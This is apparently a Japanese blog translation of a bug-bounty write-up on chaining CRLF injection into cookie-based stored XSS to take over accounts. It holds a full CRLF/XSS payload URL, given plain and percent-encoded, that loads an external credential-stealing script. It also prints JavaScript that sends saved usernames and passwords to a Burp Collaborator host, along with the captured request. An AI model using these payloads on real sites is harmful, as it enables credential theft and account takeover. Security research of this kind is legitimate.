Shikata Ga Nai

Private? There is no such things.

CRLF to Account takeover (chaining bugs)を訳してみた

Hello there, ('ω')ノ

 

CRLF からアカウントの乗っ取り (連鎖バグ)を。

 

脆弱性:

 CRLF

 XSS

 アカウント乗っ取り

 

記事:

 https://medium.com/@moSec/crlf-to-account-takeover-chaining-bugs-21a25dfa1cdf

 

今回は、応答分割 (CRLF) によるアカウントの乗っ取りを。

 

現在、crlfsub.redacted.comにこのCRLFのバグが発見できていて。

別のサブドメイン (xssub.redacted.com とすると) には。

Cookie ベースの XSS 脆弱性があることがわかって。

これは、Cookie が応答に反映されることを意味して。

 

xssub.redacted.com が読み込まれると、 /login にリダイレクトされ。

有効になっている場合はオートコンプリートされて。

 

CRLF ⇨ Cookie設定 + Cookie ベースXSS ⇨ 保存型XSS + autocomplete 資格情報 = ATO

 

1.被害者がこのリンクを開いて。

HTTP://crlfsub.redacted.com/stories-path%0a%0dSet-Cookie:vset=test</script><script src=https://moxss.server.com/steal_creds.js> src=x onerror=alert(‘this_is_xss_to_ATO_your_cookies_and_saved_creds_has_been_sent_to_mosec_server_so_you_are_pwned’)>”;path=/;domain=.redacted.com;/articles/some-articles

 

⇩エンコード版

 

HTTP://crlfsub.redacted.com/%0a%0dSet-Cookie:vset=%74%65%73%74%3c%2f%73%63%72%69%70%74%3e%3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%73%3a%2f%2f%6d%6f%62%78%73%73%2e%73%65%72%76%65%72%2e%63%6f%6d%2f%73%74%65%61%6c%5f%63%72%65%64%73%2e%6a%73%3e%3c%2f%73%63%72%69%70%74%3e%3c%69%6d%67%20%73%72%63%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%27%74%68%69%73%5f%69%73%5f%78%73%73%5f%74%6f%5f%41%54%4f%5f%79%6f%75%72%5f%63%6f%6f%6b%69%65%73%5f%61%6e%64%5f%73%61%76%65%64%5f%63%72%65%64%73%5f%68%61%73%5f%62%65%65%6e%5f%73%65%6e%74%5f%74%6f%5f%6d%6f%73%65%63%5f%73%65%72%76%65%72%5f%73%6f%5f%79%6f%75%5f%61%72%65%5f%70%77%6e%65%64%27%29%3e%22;path=/;domain=.redacted.com;articles/some-articles

 

結果:

 保存されたXSSが完了して。

 

2.最後に、被害者がしなければならないことは、/login にリダイレクトされる。

xssub.redacted.com にアクセスすることだけで。

CRLF を介した保存型XSS がトリガされ、js が実行されて。

これはjsコードで。

 

console.log("password steal loaded.");
function load() {
var email=document.getElementById('login.username').value
console.log(email);
var pass=document.getElementById('login.password').value
console.log(pass);
 new Image().src="https://pkdyhhynhiuhnza9gz4o.burpcollaborator.net/login?u=" + email + "&p=" + pass;
}window.onload = load;

 

Firefox でテストし、資格情報を保存して。

オートコンプリートのおかげで、攻撃は成功して。

下記は、Burp コラボレータで取得した結果で。

 

GET /login?u=admin@ato.com&p=gaboompassword HTTP/1.1
Host: pkdyhhynhiuhnza9gz4o.burpcollaborator.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://redacted/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
Te: trailers
Connection: close

 

Best regards, (^^ゞ